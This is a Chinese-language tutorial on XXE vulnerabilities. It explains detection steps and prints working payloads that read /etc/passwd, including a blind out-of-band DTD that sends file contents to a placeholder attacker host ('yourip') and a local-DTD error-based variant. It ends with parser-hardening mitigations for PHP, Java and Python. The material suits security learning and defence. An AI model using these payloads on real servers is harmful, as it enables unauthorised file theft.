這兩天看了xxe漏洞,寫一下自己的理解,xxe漏洞主要針對webservice危險的引用的外部實體並且未對外部實體進行敏感字符的過濾,從而可以造成命令執行,目錄遍歷等.首先存在漏洞的web服務一定是存在xml傳輸數據的,可以在http頭的content-type中查看,也可以根據url一些常見的關鍵字進行判斷測試,例如wsdl(web服務描述語言).或者一些常見的采用xml的java服務配置文件(spring,struts2).不過現實中存在的大多數xxe漏洞都是blind,即不可見的,必須采用帶外通道進行返回信息的記錄,這里簡單來說就是攻擊者必須具有一台具有公網ip的主機.
首先要明白xxe漏洞是如何讀取文件的
<!ENTITY name SYSTEM "file:///etc/passwd"> <root>&name;</root>
此時服務器會在root節點返回 /etc/passwd的內容,整個代碼運行流程是name實體加載本地文件並且文件返回值被賦給name.如果沒有回顯則可以利用帶外通信進行測試.
首先觀察這個http包,在發送方的http包頭中可以通過conetent-type觀察到服務端以xml的形式接收文件,符合xxe漏洞的條件,然后服務器會正常返回客戶端在body中post過去的xml代碼執行結果。此時就可以構造惡意的xml代碼,可以看見服務器仍是正常返回,說明在服務器端並沒有進行過濾,因此可以初步確定此應用存在xxe漏洞(非Blind的xxe)
以php服務端的處理為例,若$xml即為body中的$xml數據,php直接進行解析,那么將觸發xxe漏洞
針對blind的xxe,可以構造如下xml惡意代碼:
<?xml version="1.0" ?> <!DOCTYPE any[ <!ENTITY % file SYSTEM "file://etc/passwd"> <!ENTITY % remote SYSTEM "http://yourip/eval.dtd"> %remote;
%send;
]>
<foo></foo>
這個是用於直接在http body中提交的惡意xml代碼,它會去調用位於我們的主機上的外部dtd文件(不在同一個文件寫入要讀取的文件主要是為了避免參數實體引用時發生的錯誤)
以下是eval.dtd的內容:
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://yourip/?p=%file;'>">
%ppp;
整個執行流程如下:首先加載參數實體remote,此時會遠程加載攻擊者主機上的外部實體,首先加載name實體的值,即為我們要讀取的文件的內容,然后加載ppp參數實體,在ppp實體中又內嵌了send實體,所以 接下來加載send實體,此時就是關鍵點,即將name實體的值(/etc/passwd)發送到我們的服務器上(通過get查詢方式會在攻擊者的服務器日志中留下記錄)
以上便是xxe漏洞的基本流程:
1.如果發現數據直接傳送方式為xml,那么直接注入payload進行測試
2.如果http header里Content-Type為application/json並使用Json進行數據交互的Web站點,可以修改其Content-Type為application/xml,並嘗試進行XXE注入
手工檢測方法:
1.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [ <!ENTITY shit "this is a test"> ]> <root> &shit; </root>
2.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE methodCall [ <!ENTITY pocdata SYSTEM "file:///etc/passwd"> ]> <methodCall> <methodName>retrieved: &pocdata;</methodName> </methodCall>
如果在返回了this is a test,說明服務端解析了客戶端發送的shit實體的內容並返回到了root節點,則繼續測試是否可以加載外部實體
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % shit SYSTEM “http://youhost/eval.xml”> %shit; ]>
通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求evil.xml的HTTP request。
如果上面兩步都支持,那么就看能否回顯。如果能回顯,就可以直接使用外部實體的方式進行攻擊。當然有時候服務器會不支持一般實體的引用,也就是在DTD之外無法引用實體,如果這樣的話,只能使用Blind XXE攻擊。
如果不能回顯,毫無疑問,使用Blind XXE攻擊方法。
如果不能回顯,並且目標服務器有防火牆,則可以利用本地的dtd來讀取數據
參考鏈接:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
這里有幾種可以測試的payload,根據使用內部不同的dtd要使用不同的payload,根據內部實體中已經聲明的變量我們可以去覆蓋它,來調用外部實體
這個工具還提供自動尋找jar包中可以用的dtd,以及來生成payload
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> //內部實體必須是目標機器上已經存在的,可以用常見dtd進行fuzz <!ENTITY % expr 'aaa)> <!ENTITY % file SYSTEM "file:///FILE_TO_READ"> //要讀取的文件 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message></message>
網上已經有可以自動檢測XXE漏洞的開源工具:xxeinjector
git clone https://github.com/enjoiz/XXEinjector.git
補救措施:
xxe漏洞存在是因為XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器默認對於XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。通過設置相應的屬性值為false,XML外部實體攻擊就能夠被阻止。因此,可將外部實體、參數實體和內聯DTD 都被設置為false,從而避免基於XXE漏洞的攻擊。
1.禁用xml外部實體
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾xml外部實體的關鍵字:
過濾<!DOCTYPE>, <!ENTITY>, SYSTEM 等
參考:
https://www.waitalone.cn/xxe-attack.html